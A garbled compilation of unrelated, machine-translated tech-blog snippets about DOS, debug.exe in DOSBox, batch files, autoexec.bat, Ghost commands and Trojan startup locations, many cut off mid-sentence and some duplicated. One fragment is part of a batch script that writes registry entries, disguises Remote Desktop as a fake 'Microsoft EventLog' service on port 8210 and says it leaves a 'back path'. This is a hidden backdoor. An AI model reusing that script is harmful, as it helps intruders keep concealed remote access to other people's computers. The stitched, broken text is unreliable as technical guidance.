Directly press the window key + R, Enter cmd, and enter debug in the doscommand. The debug fails. For example:
Baidu finds the cause: 64-bit Win8 does not support 16-bit.
Of course, the solution is also found:
1. Download dosbox
Http://www.dosbox.com/download.php? Main = 1
2. Download debug
Http://115.com/file/an79i9pw#debug.exe
3. Cut the downloaded debug file to the D Drive (the location is random)
4. Run
Accidentally see an article on the Internet, speaking of the World Hacking programming contest first place a cool program, size only 4KB, using debug command execution.The sad reminder is that win8.1 's debug command is not available.Errors such as the following:The workaround is as follows:1. Download DOSBox and Debug.exe1:http://download.csdn.net/detail/ljgstudy/7557693 (PS: Need 1 points, many points of the Great God Mercy ha ~)2:http://pan.baidu.c
As a "very sentimental" old it laborer, DOS and the earliest Windows is to let me formally contact and love the beginning of the computer (of course, game ~). After a few hundred years of 286/386/486 can run the dos/windows, now incredibly can run in the size of the credit card Raspberry Pi. First, the Raspberry Pi can get a DOSBox program from the source apt. This program can run DOS, including voice support, under the linux/windows simulation comman
First step: Download and install DOSBox softwareAttached link: http://pan.baidu.com/share/link?uk=553724690shareid=3310971559third=0Part II: Download Debug.exe software on D, E, or F-drivesAttached link: http://pan.baidu.com/share/link?uk=2265770158shareid=364558third=0Part III: Open the installed DOSBox interface:Fourth: Enter Mount C d:\ in the interface press ENTER:Fifth Step: Enter C: Press ENTERSixth s
assembly language to write Hello world
Bo Master rookie one, is purely personal groping, do not like to spray. T_T 1.DOS, an abbreviation for the disk operating system, is a type of operating system on a personal computer. 2. assembly language running in the environment based on DOS operating system
3.masm is a tool group for the Assembly. (E:\compile\home the following 4 files into the local)
Masm.exe is a compiler that compiles the assembly code. ASM into an. obj file
Link.exe is a linked pro
format in reply command: Echo Reply | command file name the above format can be used to simplify some of the commands that require man-machine dialogue (for example: Chkdsk/f;format drive:;del * *) operation, It is the input to the man-machine Dialogue command by a DOS pipeline command to output the echo command in the preset reply. The following example is equivalent to entering a "Y" carriage return when a conversation occurs in the command that is invoked: C:〉echo y| chkdsk/f C:〉echo y| DEL
"> patch. dll@ Echo "Type" = dword: 00000010> patch. dll@ Echo "Description" = "Keep record of the program and windows message. "> Patch. dll@ Echo "DisplayName" = "Microsoft EventLog"> patch. dll@ Echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesermservice]> patch. dll@ Echo "Start" = dword: 00000004> patch. dll@ Copy c: winntsystem32ermsrv.exe c: winntsystem32eventlog.exe@ REM [modify the 3389 connection, port 8210 (hexadecimal 00002012), name it Microsoft EventLog, and leave a back path
hkey_users.defasoftsoftwaremicrosoftwindowscurrentversion.
However, some Trojans are not loaded in these places, and they are hidden in the following places:
① Start in Win. ini
In Win. in ini, the [windows] field contains the startup commands "load =" and "run =". In general, "=" is followed by a blank space, for example:Run = c: windowsfile.exeLoad = c: windowsfile.exe
The file.exe file may be a Trojan.
② Start in System. ini
System.ini is located in the Windows installation directory. The sh
A batch file is a file with an extension. BAT consisting of one or more doscommands and executable commands. When a user uses the batch processing file name as a command, DOS will automatically execute the commands in the file in sequence. Batch files are created and executed multiple times at a time.
There is a special batch processing file in the batch processing file. Every time you start the computer, the system automatically runs each command in the file. The file must meet two conditions:
".
If the computer cannot be started or shut down properly, the problem may be that the program loaded from the "Boot" folder can be cleared.
5. Check the config. sys and autoexec. BAT files.
1. Click Start-run. In the open box, type msconfig and click OK ";
2. Select "diagnose startup;
3. Click "OK ".
The system prompts you to restart the computer. Click "OK ". If the startup or shutdown of the computer is incorrect, use the following met
You can edit it in notepad and change the suffix to. bat.
A bat file is a batch file and a text file. Simply put, it is used to automatically execute multiple commands continuously, and the content of the batch file is a single command. So what is its use?
For example, when you start WPS software, you must execute
C: \> Cd WPSC: \ WPS> spdosC: \ WPS> pyC: \ WPS> wbxC: \ WPS> WPS
If you execute this operation before Using WPS every time, do you think it is very troublesome?
If there i
include at least the following content:
C:/JDK (/usr/local/JDK)| -- Bin| -- Demo| -- Include| -- JRE| -- Bin| '-- Lib'-- Lib
* ***** Set in Windows
In Windows, use the set command to set environment variables. to set these environment variables for every startup computer, you should set them in the autoexec. BAT file under the System Disk root directory, for example:
Set java_home = C:/JDKSet Path = % java_home %/bin; C:/windows; C:/Windows/commandSe
boot disks I have made are not perfect works with all functions, I just want "cainiao" friends to learn about DOS through these boot disks, learn DOS, and use it as an opportunity to learn dos. At the same time, we also hope that more friends who are familiar with DOS will help the "cainiao". Everyone will learn and help each other and share the freedom and openness of Dos!
Iii. Common Ways To Boot Windows OS to pure DoS:
1. Win9x single system or multiple systems with a mix of Win9x and 2000
hard disk from the image file with two internal partitions.Ghost.exe-clone, mode = pload, src = g: \ bac. gho, dst = 1:1-fx-sure-rbUse the g drive's bac. gho file to restore the c drive. Start directly without displaying any informationGhost.exe-clone, mode = load, src = g: \ bac. gho, dst = 2, SZE1 = 60 P, SZE2 = 40 PRestore the image file to the second hard disk and change the partition size ratio to 60: 40.
Automatic disk Restoration: First, create a boot disk, including the Config. sys,
is mainly used to copy and delete files. For example, some software may leave some residue in the system after it is detached, so its function is coming.For example:"@ If exist c: \ windows \ tempxxxx. Bat call C: \ WINDOWS \ tempxxxx. bat"Here is the meaning of executing the XXXX. BAT file
5) Start USERINIT. ini [2/2 supplement]:This startup method will also be started by some viruses, which is the same as system. ini.
6) Start autoexec. BAT:This
/usr/local/JDK /. The installed JDK will include at least the following content:
C:/JDK (/usr/local/JDK)| -- Bin| -- Demo| -- Include| -- JRE| -- Bin| '-- Lib'-- Lib
* ***** Set in Windows
In Windows, use the set command to set environment variables. to set these environment variables for every startup computer, you should set them in the autoexec. BAT file under the System Disk root directory, for example:
Set java_home = C:/JDKSet Path = % java_home
detached, so its function is coming.For example:?? "@ If exist C:/Windows/tempxxxx. Bat call C:/Windows/tempxxxx. bat"Here is the meaning of executing the XXXX. BAT file
5) Start USERINIT. ini [2/2 supplement]:This startup method will also be started by some viruses, which is the same as system. ini.
6) Start autoexec. BAT:This is a common startup method. The virus uses it for some actions. The autoexec. B
function is to view the current memory usage of the computer. Press mem at the prompt and press Enter. (This command is okay. You can try it)
This shows how much memory the computer has, how much memory is used, how much memory is left, how much basic memory is used, and how much basic memory is left, these are explained in detail below.
When we view the file in the root directory of drive C, we often see this autoexec. bat file with the suffix bat,
the entire string. If only some strings are matched, you must write the corresponding code.
The following code determines whether a specified string exists in the list:
If filelistbox1.items. indexof ('autoexec. bat')>-1 then
Begin
Color: = clyellow;
Label1.caption: = 'you are in the root directory! ';
End;
3.1.1.4 add strings to the list
You can add a string to the list in two ways: You can add the string to the end of the list or insert it into the
For friends who often use word for office, the first thing to do when you start Word is to click the menu file → Open command, bring up the Open dialog box, and then browse to the Word document you want to edit and open it. If you start Word and you can pop the Open dialog box directly, does it make it easier for us to open the Word document that we need to edit? The following, I will give you how to use the "macro" to achieve.The first step: Start Word 2003 (similar to other versions of the ope
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